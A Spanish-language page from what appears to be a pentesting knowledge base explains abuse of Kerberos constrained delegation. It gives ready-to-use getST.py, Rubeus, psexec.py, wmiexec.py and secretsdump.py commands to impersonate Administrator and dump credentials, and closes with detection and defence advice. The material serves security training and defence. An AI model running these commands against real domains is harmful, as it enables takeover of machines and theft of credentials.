the_open_door
café
ESEN
← Volver al índice

Constrained Delegation

ATT&CKT1558
Arsenal completo de comandos en la cheatsheet

La delegación restringida (constrained delegation) permite que una cuenta actúe en nombre de otros usuarios, pero solo contra una lista concreta de servicios. Si comprometemos una cuenta con esta configuración, podemos suplantar a cualquier usuario (incluido el Administrador) contra esos servicios, lo que a menudo basta para tomar el equipo objetivo.

En qué se basa. La cuenta tiene el atributo msDS-AllowedToDelegateTo con uno o varios SPN. Con transición de protocolo (flag TRUSTED_TO_AUTH_FOR_DELEGATION) puede además pedir tickets sin conocer la contraseña de la víctima, usando la extensión Kerberos S4U: S4U2Self obtiene un ticket reenviable a sí misma en nombre del usuario, y S4U2Proxy lo canjea por un ticket al servicio permitido. Esa misma extensión S4U es la que abusa el noPac para suplantar al Administrador contra el DC.

Cómo se ejecuta. Se enumeran las cuentas con el atributo, se pide el ticket suplantando al Administrador con getST.py de Impacket y se usa contra el servicio.

Enumerar cuentas con delegación

Get-DomainUser -TrustedToAuth | select samaccountname,msds-allowedtodelegateto
findDelegation.py -dc-ip <ip> <domain>/<user>:<pass>
netexec ldap <ip> -u <user> -p <pass> --find-delegation

Pedir el ticket (S4U)

# por contrasena, hash NT o clave AES
getST.py -spn cifs/<target> -impersonate Administrator -dc-ip <ip> <domain>/<account>:<pass>
getST.py -spn cifs/<target> -impersonate Administrator -hashes :<nt-hash> <domain>/<account>
getST.py -spn cifs/<target> -impersonate Administrator -aesKey <aes-key> <domain>/<account>
# el nombre de servicio no esta firmado: pedir varios de golpe
getST.py -spn cifs/<target> -altservice host,http,ldap,cifs -impersonate Administrator <domain>/<account>:<pass>

En Windows con Rubeus:

Rubeus.exe s4u /user:<account> /rc4:<nt-hash> /impersonateuser:Administrator /msdsspn:cifs/<target> /altservice:host,http /ptt

Usar el ticket

export KRB5CCNAME=Administrator@cifs_<target>@<domain>.ccache
psexec.py -k -no-pass <target>
wmiexec.py -k -no-pass <domain>/Administrator@<target>
secretsdump.py -k -no-pass <target>

Un matiz útil: el nombre de servicio del ticket resultante no está firmado, así que se puede cambiar cifs por otro servicio del mismo host (host, ldap, http…) para ampliar lo que se puede hacer sobre el objetivo.

Frente a la sin restricciones. Comparada con la delegación sin restricciones, aquí solo se alcanzan los servicios listados; el ataque es más quirúrgico pero igual de efectivo cuando el SPN permitido corre como SYSTEM (p.ej. cifs).

Cómo detectarlo. Buscar en el DC Event ID 4769 con ráfagas de peticiones S4U (una cuenta pidiendo tickets de servicio en nombre de muchos usuarios, sobre todo del Administrador) y auditar qué cuentas tienen msDS-AllowedToDelegateTo o TRUSTED_TO_AUTH_FOR_DELEGATION; una cuenta de servicio que de pronto suplanta a un administrador es la anomalía.

Defensa. Meter las cuentas privilegiadas en Protected Users o marcarlas como no delegables, evitar la transición de protocolo salvo que sea imprescindible, y revisar periódicamente la lista de cuentas con delegación configurada. Relacionado con RBCD y con el Silver Ticket.